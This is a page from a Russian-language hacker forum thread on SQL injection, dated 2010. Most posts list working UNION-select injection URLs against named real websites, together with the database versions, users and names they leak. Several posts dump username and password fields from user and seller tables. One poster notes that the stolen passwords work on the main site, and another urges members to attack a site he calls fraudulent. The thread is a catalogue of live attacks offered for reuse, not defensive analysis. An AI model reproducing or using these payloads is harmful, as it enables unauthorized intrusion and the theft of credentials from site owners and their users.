SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 630 of 798
  1. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    Code:
    http://www.parfyme.ru/index.php?id=158+and+1=0+union+select+unhex(hex(version()))--
    PR: N/A ТИЦ: 0
    Database Version: 5.0.89-Max-log
    Database name: srv13147_sql1
    User name: [email protected]
    OC type: unknown-linux-gnu

    Code:
    http://www.parkiet.bialystok.pl/page_edit_product.php?ID=64&kategoriaID=1&podkategoriaId=1509+and+1=0+union+select+version(),2,3,4,5,6,7,8,9,10--
    PR: 2 ТИЦ: 0
    Database Version: 5.0.90-log
    Database name: baza14270
    User name: [email protected]
    OC type: unknown-linux-gnu

    Code:
    http://yaroslavl.ecologyandculture.ru/index.php?id=5+and+1=0+union+select+version()--
    PR: 5 ТИЦ: 40
    Database Version: 5.0.26-log
    Database name: ecologyand_voron
    User name: ecologyand_voron@localhost
    OC type: pc-linux-gnu

    Code:
    http://raportowanie.pl/mainen/main.php?id=5009+and+1=0+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14--
    PR: 3 ТИЦ: 0
    Database Version: 5.0.32-Debian_7etch12-log
    Database name: mineralmidrange
    User name: [email protected]
    OC type: pc-linux-gnu

    Code:
    http://www.nagazetnom.ru/index.php?id=20+and+1=0+union+select+version()--
    PR: N/A ТИЦ: 50
    Database Version: 5.0.24-standard
    Database name: db_nagazetnom1
    User name: nagazetnom1@localhost
     
    #12581 daniel_1024, 3 Aug 2010
    1 person likes this.
  2. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Тиц 10
    pr 3
    http://housefan.de/videos.php?acc=Housefan.de&vid=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19&vkey=09f950750fd565dadeeeb&action=showvid


    5.0.32-Debian_7etch12-log:housefan:housefan@localhost:pc-linux-gnu
     
    #12582 Lilo, 3 Aug 2010
    3 people like this.
  3. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    http://www.aeheralds.net/rolls/Groups.php?id=-1+UnIon+selECt+1,2,3,concat_ws(0x3a,user(),%20@@version_compile_os,version()),5,6,7,8,9,10--

    Crown Principality of aeherald_aeheral@localhost:pc-linux-gnu:5.0.91-community

    pr5
     
    #12583 Keltos, 3 Aug 2010
    Last edited: 3 Aug 2010
    2 people like this.
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://rekguitars.com/english.php?site=dir&nr=-2+union+select+1,@@version_comment,@@datadir,@@tmpdir,@@version,user(),database(),@@version_compile_os,@@version_compile_machine,@@warning_count,@@system_time_zone,@@query_cache_size,13,14,15,16,17,18
     
    _________________________
    #12584 Konqi, 3 Aug 2010
    1 person likes this.
  5. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    [COLOR=Indigo]http://www.submission-ragecage.dk/news/news.display.php?id=38-999.9+union+select+1,2,3,4,5,6,7--[/COLOR]
    Code:
    [COLOR=DarkRed]http://www.submission-ragecage.dk/news/news.display.php?id=38-999.9+union+select+1,2,3,4,concat(username,char(58),user_password),6,7+from+phpbb_users--[/COLOR]
    PR: 3
    ТИЦ: 10
     
    #12585 moodoone, 4 Aug 2010
    Last edited: 4 Aug 2010
  6. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    http://www.mundocapoeira.ru/index.php?area=news&id=-176+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4--+

    5.0.32-Debian_7etch12-log:capoeira_site:capoeira@localhost
     
    #12586 CyberHunter, 4 Aug 2010
    1 person likes this.
  7. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.kupitam.by/catalog.php?id=173+and+1=0+union+select+1,2,3,4,5,6,7,8,concat(username,char(58),user_password),10,11,12,13,14,15,16,17,18,19,20+from+phpbbnew_users--
     
    _________________________
    #12587 Konqi, 4 Aug 2010
    2 people like this.
  8. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    ПР 5
    ТИЦ 750
    Code:
    http://www.tatarstan.net/index.phtml?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6+--
    tatarstan@localhost:tatarstan:5.0.90
     
    #12588 CodeSender:), 4 Aug 2010
    Last edited: 4 Aug 2010
  9. so_newbie

    so_newbie Member

    Joined:
    6 Jul 2010
    Messages:
    33
    Likes Received:
    14
    Reputations:
    9
    expressindia.com

    PR - 8
    уязвимость на уже не существующем проекте community.expressindia.com:
    Code:
    http://community.expressindia.com/myindia/message_popup.php?postId=-42612+union+select+null,null,name||chr(58)||password||chr(58)||email+from+mboard_user+limit+1+offset+0--+
    некоторое пароли подходят и для главной странички ;-)

    sql inj присутствует также в интернет-магазине, хостящемся на expressindia.com:
    доступа к pg_shadow нет, но кое-что полезное можно извлечь... к примеру пароли продавцов магазина (формате base64, как я понимаю)
    Code:
    http://shopping.expressindia.com/index.php?page=listing&catId=-650+union+select+null,name||chr(58)||password||chr(58)||email,null,null,null,null,null,null+from+seller--+
    db - PostgreSQL

    вообще на сайте, как мне показалось, есть еще не мало дырок... если кто-нибудь захочет докрутить - u r welcome :)
     
    #12589 so_newbie, 4 Aug 2010
    Last edited: 4 Aug 2010
    3 people like this.
  10. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.ratlankiai.lt/product.php?&lng=lt&pid=-724+union+select+1,2,3,4
    ---
    магазин

    http://www.dinitrol.lt/straipsnis.php?id=10+union+select+1,2,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),@@version_compile_os,@@version_compile_machine,@@version_comment),1),1),4,5
     
    _________________________
    #12590 Konqi, 4 Aug 2010
    Last edited: 4 Aug 2010
    2 people like this.
  11. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    PR 2
    Code:
    http://www.kappaargentina.com.ar/seccion2.php?id=-1+union+select+concat_ws%280x3a,database%28%29,user%28%29,version%28%29%29%20--
    uv5019_kappa:[email protected]:4.1.14-log

    ТИЦ 20
    PR 3
    Shop

    Code:
    http://www.top7.ru/shop/buy/guides/?id=-1+union+select+1,concat_ws%280x3a,database%28%29,user%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35%20--
    top7:root@localhost:5.4.1-beta
     
    #12591 CodeSender:), 4 Aug 2010
    Last edited: 4 Aug 2010
    1 person likes this.
  12. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    www.stroyposad.ru - Стройсервис. Строительная группа
    Яндекс тИЦ: 10
    Google PageRank: 2
    Code:
    http://www.stroyposad.ru/news/newfir.php?new_id=57+UNION+SELECT+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7--
     
    #12592 Byte_, 5 Aug 2010
    1 person likes this.
  13. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    PR3

    PR2

    PR3

    PR4

    PR4

    ТИЦ 30 PR1
    Invest-Market.kz: заработать и сохранить деньги, паевые фонды (пиф), пенсионные фонды (нпф), депозиты (банки), финансовая консультация, школа инвестора, доходность, рейтинг, инвестиции, капитал

    ТИЦ 10 PR3

    PR4

    PR4
     
    #12593 -PRIVAT-, 5 Aug 2010
    Last edited: 5 Aug 2010
    4 people like this.
  14. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.epi.ch/page.php?pages_id=-9'+union+select+concat(version()),2,3,4,5,6 and '1'='1
    Version: 5.0.87-d10-ourdelta65-log
    User: epi@localhost
    Database: epi
     
    #12594 Дирижабль, 5 Aug 2010
    Last edited: 5 Aug 2010
    1 person likes this.
  15. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    piv-point@localhost:piv_point1:4.1.22
     
    #12595 попугай, 6 Aug 2010
    3 people like this.
  16. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    http://telnikfest.ru/modules/galleri/viewcat.php?cid=-1+union+select+1,user()
    http://xpffb.com/modules/galleri/viewcat.php?cid=-1+union+select+1,user()
    http://antidarvin.com/modules/galleri/viewcat.php?id=6&cid=-1+union+select+1,user()
    http://www.odinochestvo-v-seti.ru/modules/galleri/viewcat.php?cid=-1+union+select+1,user()
     
    #12596 Keltos, 6 Aug 2010
    Last edited: 6 Aug 2010
    6 people like this.
  17. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.comprousa.com/en/news_view.php?id=-8+union+select+1,group_concat(table_name),3,4+from+information_schema.tables--
    Pr: 4
    Тиц: 275
    Code:
    http://www.paintballxxl.com/news_view.php?id=-1202+union+select+1,2,3,4,concat_ws(0x3a,login,pass),6+from+user+limit+1,1--
    Pr: 3
    Тиц: 130

    Code:
    http://www.ettu.org/news_view.php?id=-2443+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    Pr: 6
    Тиц: 190
     
    #12597 moodoone, 6 Aug 2010
    Last edited: 6 Aug 2010
  18. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87

    PR4


    PR1


    PR2


    ТИЦ 20 PR2
     
    #12598 -PRIVAT-, 6 Aug 2010
    2 people like this.
  19. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.profcosmetology.ru/preview.php?id=-759+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15,16,17,18,19,20,21,22,23,24+from+information_schema.columns+where+table_name=0x74625F75736572--
    Таблица: tb_user
    PR: 3
    ТИЦ: 30

    Code:
    http://www.invibio.com/press-room/releases-preview.php?id=-74+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10+from+information_schema.tables--
    PR: 5

    Code:
    http://www.dvdfuture.com/review.php?id=-805+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    PR: 4
    ТИЦ: 10

    Code:
    http://www.jaxmovies.com/review.php?id=-71+union+select+1,2,version(),4,5,6,7,8,9,10,11--
    PR: 3
    ТИЦ: 10

    Code:
    http://orthodoxyinamerica.org/article.php?id=-25+UnIon+selECt+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8--
    PR-5
    ТИЦ-10

    Code:
    http://www.saveoureverglades.org/article.php?id=-16+UnIon+selECt+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53+--+
    PR-5

    Code:
    http://www.zvyazda.minsk.by/ru/issue/article.php?id=-60634+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20--
    PR: 6
    ТИЦ: 550

    Konqi : сколько можно повторять? проверьте антибоян-oм!!
     
    #12599 moodoone, 6 Aug 2010
    Last edited by a moderator: 8 Aug 2010
    3 people like this.
  20. dorko

    dorko New Member

    Joined:
    6 Aug 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Есть такой сайтик в питере, оказывает услуги рентгена на дому, так вот как оказалось кидалы, кидают пенсионеров и прочий народ, рентген нихера не делают, подсовывают левые снимки, стоит услуга 4000р. По телику их сайтик мельком показали в новостях, тут подробнее (http://spb.kp.ru/daily/24535.4/678745/)
    Сам сайт дырявый, у кого есть навыки и желание, накажите.
    Code:
    http://www.vrachnadomu.ru/?page=main&lang=rus&id=59999+union+select+1,2,version(),4,5,6,7,8,9--
     
    #12600 dorko, 6 Aug 2010
(You must log in or sign up to post here.)
Page 630 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.